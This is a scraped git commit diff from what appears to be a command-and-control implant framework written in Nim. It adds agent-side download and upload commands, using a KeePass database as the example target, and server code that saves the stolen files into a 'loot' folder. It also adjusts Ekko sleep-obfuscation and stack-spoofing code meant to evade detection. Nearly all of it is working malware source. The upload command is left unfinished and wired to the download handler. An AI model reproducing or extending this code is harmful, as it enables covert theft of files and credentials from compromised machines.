Implemented simple download command.
This commit is contained in:
1
.gitignore
vendored
1
.gitignore
vendored
@@ -10,6 +10,7 @@ bin/*
|
|||||||
|
|
||||||
# Ignore log files
|
# Ignore log files
|
||||||
*.log
|
*.log
|
||||||
|
/data/loot/*
|
||||||
|
|
||||||
.vscode/
|
.vscode/
|
||||||
|
|
||||||
|
|||||||
@@ -25,6 +25,7 @@ proc NtCreateEvent*(phEvent: PHANDLE, desiredAccess: ACCESS_MASK, objectAttribut
|
|||||||
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
proc RtlCreateTimer(queue: HANDLE, hTimer: PHANDLE, function: FARPROC, context: PVOID, dueTime: ULONG, period: ULONG, flags: ULONG): NTSTATUS {.cdecl, stdcall, importc: protect("RtlCreateTimer"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
proc NtSignalAndWaitForSingleObject(hSignal: HANDLE, hWait: HANDLE, alertable: BOOLEAN, timeout: PLARGE_INTEGER): NTSTATUS {.cdecl, stdcall, importc: protect("NtSignalAndWaitForSingleObject"), dynlib: protect("ntdll.dll").}
|
||||||
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
proc NtDuplicateObject(hSourceProcess: HANDLE, hSource: HANDLE, hTargetProcess: HANDLE, hTarget: PHANDLE, desiredAccess: ACCESS_MASK, attributes: ULONG, options: ULONG ): NTSTATUS {.cdecl, stdcall, importc: protect("NtDuplicateObject"), dynlib: protect("ntdll.dll").}
|
||||||
|
proc NtSetEvent(hEvent: HANDLE, previousState: PLONG): NTSTATUS {.cdecl, stdcall, importc: protect("NtSetEvent"), dynlib: protect("ntdll.dll").}
|
||||||
|
|
||||||
# Function for retrieving a random thread's thread context for stack spoofing
|
# Function for retrieving a random thread's thread context for stack spoofing
|
||||||
proc GetRandomThreadCtx(): CONTEXT =
|
proc GetRandomThreadCtx(): CONTEXT =
|
||||||
@@ -207,8 +208,9 @@ proc sleepEkko*(sleepDelay: int) =
|
|||||||
ctx[8].R9 = cast[DWORD64](addr value)
|
ctx[8].R9 = cast[DWORD64](addr value)
|
||||||
|
|
||||||
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
# ctx[6] contains the call to the SetEvent WinAPI that will set hEventEnd event object in a signaled state. This with signal that the obfuscation chain is complete
|
||||||
ctx[9].Rip = cast[DWORD64](SetEvent)
|
ctx[9].Rip = cast[DWORD64](NtSetEvent)
|
||||||
ctx[9].Rcx = cast[DWORD64](hEventEnd)
|
ctx[9].Rcx = cast[DWORD64](hEventEnd)
|
||||||
|
ctx[9].Rdx = cast[DWORD64](NULL)
|
||||||
|
|
||||||
# Executing timers
|
# Executing timers
|
||||||
for i in 0 ..< ctx.len():
|
for i in 0 ..< ctx.len():
|
||||||
|
|||||||
@@ -45,6 +45,8 @@ type
|
|||||||
CMD_ENV = 10'u16
|
CMD_ENV = 10'u16
|
||||||
CMD_WHOAMI = 11'u16
|
CMD_WHOAMI = 11'u16
|
||||||
CMD_BOF = 12'u16
|
CMD_BOF = 12'u16
|
||||||
|
CMD_DOWNLOAD = 13'u16
|
||||||
|
CMD_UPLOAD = 14'u16
|
||||||
|
|
||||||
StatusType* = enum
|
StatusType* = enum
|
||||||
STATUS_COMPLETED = 0'u8
|
STATUS_COMPLETED = 0'u8
|
||||||
|
|||||||
77
src/modules/filetransfer.nim
Normal file
77
src/modules/filetransfer.nim
Normal file
@@ -0,0 +1,77 @@
|
|||||||
|
import ../common/[types, utils]
|
||||||
|
|
||||||
|
# Define function prototype
|
||||||
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult
|
||||||
|
|
||||||
|
|
||||||
|
# Command definition (as seq[Command])
|
||||||
|
let commands*: seq[Command] = @[
|
||||||
|
Command(
|
||||||
|
name: protect("download"),
|
||||||
|
commandType: CMD_DOWNLOAD,
|
||||||
|
description: protect("Download a file."),
|
||||||
|
example: protect("download C:\\Users\\john\\Documents\\Database.kdbx"),
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: protect("file"), description: protect("Path to file to download from the target machine."), argumentType: STRING, isRequired: true),
|
||||||
|
],
|
||||||
|
execute: executeDownload
|
||||||
|
),
|
||||||
|
Command(
|
||||||
|
name: protect("upload"),
|
||||||
|
commandType: CMD_UPLOAD,
|
||||||
|
description: protect("Upload a file."),
|
||||||
|
example: protect("upload /path/to/payload.exe"),
|
||||||
|
arguments: @[
|
||||||
|
Argument(name: protect("file"), description: protect("Path to file to upload to the target machine."), argumentType: BINARY, isRequired: true),
|
||||||
|
],
|
||||||
|
execute: executeDownload
|
||||||
|
)
|
||||||
|
]
|
||||||
|
|
||||||
|
# Implement execution functions
|
||||||
|
when defined(server):
|
||||||
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult = nil
|
||||||
|
|
||||||
|
when defined(agent):
|
||||||
|
|
||||||
|
import os, std/paths, strutils, strformat
|
||||||
|
import ../agent/protocol/result
|
||||||
|
import ../common/[utils, serialize]
|
||||||
|
|
||||||
|
proc executeDownload(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
var filePath: string = absolutePath(Bytes.toString(task.args[0].data))
|
||||||
|
|
||||||
|
echo fmt" [>] Downloading {filePath}"
|
||||||
|
|
||||||
|
# Read file contents into memory and return them as the result
|
||||||
|
var fileBytes = readFile(filePath)
|
||||||
|
|
||||||
|
# Create result packet for file download
|
||||||
|
var packer = Packer.init()
|
||||||
|
|
||||||
|
packer.add(uint32(filePath.len()))
|
||||||
|
packer.addData(string.toBytes(filePath))
|
||||||
|
packer.add(uint32(fileBytes.len()))
|
||||||
|
packer.addData(string.toBytes(fileBytes))
|
||||||
|
|
||||||
|
let result = packer.pack()
|
||||||
|
|
||||||
|
return createTaskResult(task, STATUS_COMPLETED, RESULT_BINARY, result)
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
|
|
||||||
|
|
||||||
|
proc executeUpload(ctx: AgentCtx, task: Task): TaskResult =
|
||||||
|
try:
|
||||||
|
var fileBytes: seq[byte] = task.args[0].data
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||||
@@ -6,6 +6,7 @@ import
|
|||||||
shell,
|
shell,
|
||||||
sleep,
|
sleep,
|
||||||
filesystem,
|
filesystem,
|
||||||
|
filetransfer,
|
||||||
environment,
|
environment,
|
||||||
bof
|
bof
|
||||||
|
|
||||||
@@ -26,6 +27,7 @@ proc loadModules*() =
|
|||||||
registerCommands(shell.commands)
|
registerCommands(shell.commands)
|
||||||
registerCommands(sleep.commands)
|
registerCommands(sleep.commands)
|
||||||
registerCommands(filesystem.commands)
|
registerCommands(filesystem.commands)
|
||||||
|
registerCommands(filetransfer.commands)
|
||||||
registerCommands(environment.commands)
|
registerCommands(environment.commands)
|
||||||
registerCommands(bof.commands)
|
registerCommands(bof.commands)
|
||||||
|
|
||||||
|
|||||||
@@ -1,10 +1,10 @@
|
|||||||
import terminal, strformat, strutils, sequtils, tables, times, system
|
import terminal, strformat, strutils, sequtils, tables, times, system, std/[dirs, paths]
|
||||||
|
|
||||||
import ../globals
|
import ../globals
|
||||||
import ../db/database
|
import ../db/database
|
||||||
import ../protocol/packer
|
import ../protocol/packer
|
||||||
import ../core/logger
|
import ../core/logger
|
||||||
import ../../common/[types, utils]
|
import ../../common/[types, utils, serialize]
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Agent API
|
Agent API
|
||||||
@@ -15,95 +15,121 @@ proc register*(registrationData: seq[byte]): bool =
|
|||||||
# The following line is required to be able to use the `cq` global variable for console output
|
# The following line is required to be able to use the `cq` global variable for console output
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
let agent: Agent = cq.deserializeNewAgent(registrationData)
|
try:
|
||||||
|
let agent: Agent = cq.deserializeNewAgent(registrationData)
|
||||||
|
|
||||||
# Validate that listener exists
|
# Validate that listener exists
|
||||||
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
|
if not cq.dbListenerExists(agent.listenerId.toUpperAscii):
|
||||||
cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
|
cq.error(fmt"{agent.ip} attempted to register to non-existent listener: {agent.listenerId}.", "\n")
|
||||||
|
return false
|
||||||
|
|
||||||
|
# Store agent in database
|
||||||
|
if not cq.dbStoreAgent(agent):
|
||||||
|
cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n")
|
||||||
|
return false
|
||||||
|
|
||||||
|
# Create log directory
|
||||||
|
if not cq.makeAgentLogDirectory(agent.agentId):
|
||||||
|
cq.error("Failed to create log directory.", "\n")
|
||||||
|
return false
|
||||||
|
|
||||||
|
cq.agents[agent.agentId] = agent
|
||||||
|
|
||||||
|
cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
||||||
|
|
||||||
|
return true
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
cq.error(err.msg)
|
||||||
return false
|
return false
|
||||||
|
|
||||||
# Store agent in database
|
|
||||||
if not cq.dbStoreAgent(agent):
|
|
||||||
cq.error(fmt"Failed to insert agent {agent.agentId} into database.", "\n")
|
|
||||||
return false
|
|
||||||
|
|
||||||
# Create log directory
|
|
||||||
if not cq.makeAgentLogDirectory(agent.agentId):
|
|
||||||
cq.error("Failed to create log directory.", "\n")
|
|
||||||
return false
|
|
||||||
|
|
||||||
cq.agents[agent.agentId] = agent
|
|
||||||
|
|
||||||
cq.info("Agent ", fgYellow, styleBright, agent.agentId, resetStyle, " connected to listener ", fgGreen, styleBright, agent.listenerId, resetStyle, ": ", fgYellow, styleBright, fmt"{agent.username}@{agent.hostname}", "\n")
|
|
||||||
|
|
||||||
return true
|
|
||||||
|
|
||||||
proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
proc getTasks*(heartbeat: seq[byte]): seq[seq[byte]] =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
# Deserialize checkin request to obtain agentId and listenerId
|
try:
|
||||||
let
|
# Deserialize checkin request to obtain agentId and listenerId
|
||||||
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
let
|
||||||
agentId = Uuid.toString(request.header.agentId)
|
request: Heartbeat = cq.deserializeHeartbeat(heartbeat)
|
||||||
listenerId = Uuid.toString(request.listenerId)
|
agentId = Uuid.toString(request.header.agentId)
|
||||||
timestamp = request.timestamp
|
listenerId = Uuid.toString(request.listenerId)
|
||||||
|
timestamp = request.timestamp
|
||||||
|
|
||||||
var tasks: seq[seq[byte]]
|
var tasks: seq[seq[byte]]
|
||||||
|
|
||||||
# Check if listener exists
|
# Check if listener exists
|
||||||
if not cq.dbListenerExists(listenerId):
|
if not cq.dbListenerExists(listenerId):
|
||||||
cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n")
|
cq.error(fmt"Task-retrieval request made to non-existent listener: {listenerId}.", "\n")
|
||||||
raise newException(ValueError, "Invalid listener.")
|
raise newException(ValueError, "Invalid listener.")
|
||||||
|
|
||||||
# Check if agent exists
|
# Check if agent exists
|
||||||
if not cq.dbAgentExists(agentId):
|
if not cq.dbAgentExists(agentId):
|
||||||
cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n")
|
cq.error(fmt"Task-retrieval request made to non-existent agent: {agentId}.", "\n")
|
||||||
raise newException(ValueError, "Invalid agent.")
|
raise newException(ValueError, "Invalid agent.")
|
||||||
|
|
||||||
# Update the last check-in date for the accessed agent
|
# Update the last check-in date for the accessed agent
|
||||||
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
cq.agents[agentId].latestCheckin = cast[int64](timestamp).fromUnix().local()
|
||||||
|
|
||||||
# Return tasks
|
# Return tasks
|
||||||
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
|
for task in cq.agents[agentId].tasks.mitems: # Iterate over agents as mutable items in order to modify GMAC tag
|
||||||
let taskData = cq.serializeTask(task)
|
let taskData = cq.serializeTask(task)
|
||||||
tasks.add(taskData)
|
tasks.add(taskData)
|
||||||
|
|
||||||
return tasks
|
return tasks
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
cq.error(err.msg)
|
||||||
|
return @[]
|
||||||
|
|
||||||
proc handleResult*(resultData: seq[byte]) =
|
proc handleResult*(resultData: seq[byte]) =
|
||||||
|
|
||||||
{.cast(gcsafe).}:
|
{.cast(gcsafe).}:
|
||||||
|
|
||||||
let
|
try:
|
||||||
taskResult = cq.deserializeTaskResult(resultData)
|
let
|
||||||
taskId = Uuid.toString(taskResult.taskId)
|
taskResult = cq.deserializeTaskResult(resultData)
|
||||||
agentId = Uuid.toString(taskResult.header.agentId)
|
taskId = Uuid.toString(taskResult.taskId)
|
||||||
|
agentId = Uuid.toString(taskResult.header.agentId)
|
||||||
|
|
||||||
cq.info(fmt"{$resultData.len} bytes received.")
|
cq.info(fmt"{$resultData.len} bytes received.")
|
||||||
|
|
||||||
case cast[StatusType](taskResult.status):
|
# Update task queue to include all tasks, except the one that was just completed
|
||||||
of STATUS_COMPLETED:
|
case cast[StatusType](taskResult.status):
|
||||||
cq.success(fmt"Task {taskId} completed.")
|
of STATUS_COMPLETED:
|
||||||
of STATUS_FAILED:
|
cq.success(fmt"Task {taskId} completed.")
|
||||||
cq.error(fmt"Task {taskId} failed.")
|
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
||||||
of STATUS_IN_PROGRESS:
|
of STATUS_FAILED:
|
||||||
discard
|
cq.error(fmt"Task {taskId} failed.")
|
||||||
|
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
||||||
|
of STATUS_IN_PROGRESS:
|
||||||
|
discard
|
||||||
|
|
||||||
case cast[ResultType](taskResult.resultType):
|
case cast[ResultType](taskResult.resultType):
|
||||||
of RESULT_STRING:
|
of RESULT_STRING:
|
||||||
if int(taskResult.length) > 0:
|
if int(taskResult.length) > 0:
|
||||||
cq.info("Output:")
|
cq.info("Output:")
|
||||||
# Split result string on newline to keep formatting
|
# Split result string on newline to keep formatting
|
||||||
for line in Bytes.toString(taskResult.data).split("\n"):
|
for line in Bytes.toString(taskResult.data).split("\n"):
|
||||||
cq.output(line)
|
cq.output(line)
|
||||||
|
|
||||||
of RESULT_BINARY:
|
of RESULT_BINARY:
|
||||||
# Write binary data to a file
|
# Write binary data to a file
|
||||||
cq.output()
|
# A binary result packet consists of the filename and file contents, both prefixed with their respective lengths as a uint32 value, unless it is fragmented
|
||||||
|
var unpacker = Unpacker.init(Bytes.toString(taskResult.data))
|
||||||
|
let
|
||||||
|
fileName = unpacker.getDataWithLengthPrefix().replace("\\", "_").replace(":", "") # Replace path characters for better storage of downloaded files
|
||||||
|
fileBytes = unpacker.getDataWithLengthPrefix()
|
||||||
|
|
||||||
of RESULT_NO_OUTPUT:
|
# Create loot directory for the agent
|
||||||
cq.output()
|
createDir(cast[Path](fmt"{CONQUEST_ROOT}/data/loot/{agentId}"))
|
||||||
|
let downloadPath = fmt"{CONQUEST_ROOT}/data/loot/{agentId}/{fileName}"
|
||||||
# Update task queue to include all tasks, except the one that was just completed
|
|
||||||
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
writeFile(downloadPath, fileBytes)
|
||||||
|
|
||||||
|
cq.success(fmt"File downloaded to {downloadPath} ({$fileBytes.len()} bytes).", "\n")
|
||||||
|
|
||||||
|
of RESULT_NO_OUTPUT:
|
||||||
|
cq.output()
|
||||||
|
|
||||||
|
except CatchableError as err:
|
||||||
|
cq.error(err.msg)
|
||||||
|
|||||||
Reference in New Issue
Block a user